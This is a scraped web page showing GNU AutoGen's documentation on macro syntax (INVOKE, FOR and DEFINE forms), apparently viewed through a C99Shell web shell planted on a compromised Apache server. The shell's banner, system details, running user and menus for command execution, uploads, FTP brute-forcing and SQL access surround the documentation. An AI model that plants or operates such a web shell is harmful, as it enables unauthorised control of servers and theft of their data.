!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/autogen/autogen.html/   drwxr-xr-x
Free 13.4 GB of 57.97 GB (23.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AGMacro-syntax.html (5.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
AGMacro syntax (GNU AutoGen - The Automated Program Generator)

Next: , Up: native macros   [Contents][Index]


3.6.1 AutoGen Macro Syntax

The general syntax is:

[ { <native-macro-name> | <user-defined-name> } ] [ <arg> ... ]

The syntax for <arg> depends on the particular macro, but is generally a full expression (see expression syntax). Here are the exceptions to that general rule:

  1. INVOKE macros, implicit or explicit, must be followed by a list of name/string value pairs. The string values are simple expressions, as described above.

    That is, the INVOKE syntax is one of these two:

    <user-macro-name> [ <name> [ = <expression> ] ... ]
    
    INVOKE <name-expression> [ <name> [ = <expression> ] ... ]
    
  2. AutoGen FOR macros must be in one of three forms:
    FOR <name> [ <separator-string> ]
    
    FOR <name> (...Scheme expression list)
    
    FOR <name> IN <string-entry> [ ... ]
    

    where:

    <name>

    must be a simple name.

    <separator-string>

    is inserted between copies of the enclosed block. Do not try to use “IN” as your separator string. It won’t work.

    <string-entry>

    is an entry in a list of strings. “<name>” is assigned each value from the “IN” list before expanding the FOR block.

    (...Scheme expression list)

    is expected to contain one or more of the for-from, for-to, for-by, and for-sep functions. (See FOR, and AutoGen Functions)

    The first two forms iterate over the FOR block if <name> is found in the AutoGen values. The last form will create the AutoGen value named <name>.

  3. AutoGen DEFINE macros must be followed by a simple name. Anything after that is ignored. Consequently, that “comment space” may be used to document any named values the macro expects to have set up as arguments. See DEFINE.
  4. The AutoGen COMMENT, ELSE, ESAC and the END* macros take no arguments and ignore everything after the macro name (e.g. see COMMENT)

Next: , Up: native macros   [Contents][Index]


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--